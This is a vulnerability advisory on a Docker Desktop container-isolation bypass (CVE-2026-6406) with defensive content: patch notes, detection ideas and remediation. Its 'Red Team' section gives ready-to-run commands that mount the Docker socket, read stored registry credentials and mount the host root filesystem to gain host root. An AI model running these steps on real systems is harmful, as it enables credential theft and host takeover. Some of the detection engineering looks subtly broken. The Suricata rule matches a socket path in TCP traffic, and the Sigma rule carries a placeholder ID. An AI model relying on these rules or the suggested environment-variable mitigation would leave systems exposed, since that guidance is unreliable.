CVE-2026-6406

Executive Summary

CVE-2026-6406 is a high-severity vulnerability in Docker Desktop that allows a local attacker to bypass Enhanced Container Isolation (ECI) restrictions. The flaw resides in the Docker CLI's --use-api-socket flag, which mounts the Docker Engine socket into a container. When ECI is enabled, Docker Desktop normally denies such mounts unless explicitly allowed via admin settings. However, the --use-api-socket flag adds the mount via the HostConfig.Mounts field, while the ECI enforcement only inspected the HostConfig.Binds field. This oversight allows the mount to pass unchecked, granting the container full access to the Docker Engine socket and, if the host user has logged into container registries, their authentication credentials.

This vulnerability is particularly dangerous in multi-tenant environments or shared developer workstations where users have the ability to run Docker CLI commands but are expected to be restricted by ECI policies. An attacker with local access can escape container isolation, access the Docker Engine, and potentially escalate privileges to the host level.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby). However, it impacts the Docker supply chain by compromising the security of Docker Desktop, a critical component in many development and CI/CD pipelines. Organizations using Docker Desktop in shared or multi-tenant environments should treat this as a supply chain risk, as a compromised Docker Engine can lead to further compromise of container images, secrets, and deployment pipelines.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply runs a Docker CLI command.
• Privileges Required (PR): Low (L) – The attacker needs the ability to run Docker CLI commands, which is often granted to non-root users.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker's own actions.
• Scope (S): Changed (C) – The vulnerability allows the attacker to impact resources beyond the container (the Docker Engine and host).
• Confidentiality (C): High (H) – Full access to the Docker Engine socket can expose registry credentials and other secrets.
• Integrity (I): High (H) – The attacker can modify container images, configurations, and host files.
• Availability (A): High (H) – The attacker can disrupt or destroy containers and host services.

Threat Level: High. The vulnerability is easy to exploit, requires low privileges, and can lead to full host compromise.

Deep Dive & Mechanics

Docker Desktop's Enhanced Container Isolation (ECI) is a security feature designed to prevent containers from accessing the Docker Engine socket unless explicitly allowed by an administrator. The ECI enforcement is implemented in the Docker Desktop API proxy, which intercepts and inspects container creation requests.

When a user runs a Docker CLI command with the --use-api-socket flag, the CLI constructs a container creation request. This request includes a HostConfig object with a Mounts field that specifies the Docker socket mount. The ECI proxy inspects the HostConfig.Binds field for any socket mounts but does not inspect the HostConfig.Mounts field. Since the --use-api-socket flag uses Mounts instead of Binds, the mount bypasses the ECI check.

Once the container is created with the Docker socket mounted, the attacker can use the Docker Engine API from within the container to perform any action the host user can, including:

• Listing and managing containers
• Pulling and pushing images
• Accessing registry credentials stored in the Docker config
• Escalating to root on the host by mounting the host filesystem

The vulnerability is a classic case of incomplete enforcement due to multiple code paths. The ECI proxy was designed to check Binds but not Mounts, leaving a gap that the --use-api-socket flag exploits.

Vulnerable vs. Patched Code

Vulnerable Code (Docker Desktop < 4.40.0):

The ECI proxy in the Docker Desktop API only checks HostConfig.Binds for socket mounts:

// Vulnerable ECI check (simplified)
func checkECI(hostConfig *container.HostConfig) error {
    for _, bind := range hostConfig.Binds {
        if strings.Contains(bind, "/var/run/docker.sock") {
            return fmt.Errorf("ECI: Docker socket mount denied")
        }
    }
    return nil
}

The --use-api-socket flag adds the mount via HostConfig.Mounts, which is not checked:

// CLI code that adds the mount (simplified)
mount := mount.Mount{
    Type:   mount.TypeBind,
    Source: "/var/run/docker.sock",
    Target: "/var/run/docker.sock",
}
hostConfig.Mounts = append(hostConfig.Mounts, mount)

Patched Code (Docker Desktop >= 4.40.0):

The ECI proxy now also checks HostConfig.Mounts:

// Patched ECI check (simplified)
func checkECI(hostConfig *container.HostConfig) error {
    for _, bind := range hostConfig.Binds {
        if strings.Contains(bind, "/var/run/docker.sock") {
            return fmt.Errorf("ECI: Docker socket mount denied")
        }
    }
    for _, mount := range hostConfig.Mounts {
        if mount.Source == "/var/run/docker.sock" {
            return fmt.Errorf("ECI: Docker socket mount denied")
        }
    }
    return nil
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Docker Desktop with ECI enabled (versions < 4.40.0)
• Local user with ability to run Docker CLI commands

Exploitation Steps:

1. Create a container with the --use-api-socket flag:

   docker run --rm -it --use-api-socket alpine sh
   

2. Inside the container, verify access to the Docker socket:

   ls -la /var/run/docker.sock
   

3. Use the Docker Engine API to list containers on the host:

   docker -H unix:///var/run/docker.sock ps
   

4. Extract registry credentials (if the host user has logged in):

   cat /root/.docker/config.json
   

5. Escalate to host root by mounting the host filesystem:

   docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt
   

Expected Outcome: The attacker gains full control of the Docker Engine and, subsequently, the host system.

Blue Team

Detection:

• Monitor for containers created with the --use-api-socket flag.
• Alert on any container that has the Docker socket mounted (/var/run/docker.sock).
• Monitor Docker API calls from within containers (e.g., docker ps, docker run).

Prevention:

• Upgrade to Docker Desktop 4.40.0 or later.
• If upgrade is not immediately possible, disable the --use-api-socket flag via Docker CLI configuration or restrict its use via policy.
• Implement runtime security monitoring (e.g., Falco) to detect unauthorized Docker socket mounts.

Hunting:

• Search for containers with Mounts containing /var/run/docker.sock.
• Review Docker Desktop logs for ECI bypass attempts.

Indicators of Compromise (IOCs)

• File: /var/run/docker.sock mounted inside a container
• Process: Docker CLI commands executed from within a container (e.g., docker ps, docker run)
• Network: Unexpected Docker API calls from container IPs to the Docker socket
• Log: Docker Desktop audit logs showing container creation with --use-api-socket flag
• Registry: Unauthorized access to container registries from unexpected sources

Detection Engineering

YARA Rule

rule Detect_Docker_Socket_Mount {
    meta:
        description = "Detects containers with Docker socket mounted via HostConfig.Mounts"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-6406"
    strings:
        $socket_path = "/var/run/docker.sock"
        $mount_type = "Type: bind"
        $mount_source = "Source: /var/run/docker.sock"
    condition:
        $socket_path and ($mount_type or $mount_source)
}

Sigma Rule

title: Docker Socket Mount via HostConfig.Mounts
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects containers created with Docker socket mounted via HostConfig.Mounts, bypassing ECI
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6406
logsource:
    product: docker
    service: desktop
detection:
    selection:
        EventID: "container_create"
        HostConfig.Mounts|contains: "/var/run/docker.sock"
    condition: selection
falsepositives:
    - Legitimate administrative use with ECI disabled
level: high

Suricata Rule

alert tcp any any -> any 2375 (msg:"CVE-2026-6406 Docker Socket Access from Container"; flow:to_server; content:"/var/run/docker.sock"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Docker Desktop to version 4.40.0 or later. This is the only complete fix.
2. If upgrade is not possible, disable the --use-api-socket flag by setting the environment variable DOCKER_CLI_EXPERIMENTAL=disabled or by removing the flag from the Docker CLI configuration.
3. Restrict Docker CLI access to trusted users only. Use group policies or sudo rules to limit who can run Docker commands.

Long-term Mitigations:

• Implement runtime security monitoring (e.g., Falco, Sysdig) to detect and alert on Docker socket mounts.
• Use container security tools (e.g., Aqua, Twistlock) to enforce policies that prevent unauthorized socket mounts.
• Regularly audit Docker Desktop configurations and logs for signs of ECI bypass attempts.
• Educate users about the risks of using experimental flags and the importance of ECI.

Workarounds:

• If ECI is critical and upgrade is delayed, consider using alternative container runtimes (e.g., Podman) that do not have this vulnerability.
• Implement network segmentation to limit the impact of a compromised Docker Engine.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert